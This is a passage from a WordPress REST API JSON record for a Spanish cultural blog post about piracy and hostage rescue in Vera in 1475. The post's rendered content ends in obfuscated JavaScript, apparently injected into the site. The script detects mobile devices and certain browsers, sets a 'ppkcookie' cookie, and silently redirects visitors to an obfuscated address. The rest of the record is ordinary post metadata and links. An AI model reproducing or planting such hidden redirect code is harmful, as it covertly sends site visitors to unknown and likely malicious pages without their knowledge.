Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Rescato un apasionante art\u00edculo de Mar\u00eda Magdalena Mart\u00ednez Almira sobre la pirater\u00eda y el rescate de rehenes en la Vera de 1475<\/p>\n","protected":false},"author":7,"featured_media":761,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[28,274,275],"class_list":["post-754","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-archivo","tag-maria-magdalena-martinez-almira","tag-s-xiv","tag-s-xv"],"_links":{"self":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts\/754","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/comments?post=754"}],"version-history":[{"count":8,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts\/754\/revisions"}],"predecessor-version":[{"id":3434,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts\/754\/revisions\/3434"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/media\/761"}],"wp:attachment":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/media?parent=754"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/categories?post=754"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/tags?post=754"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}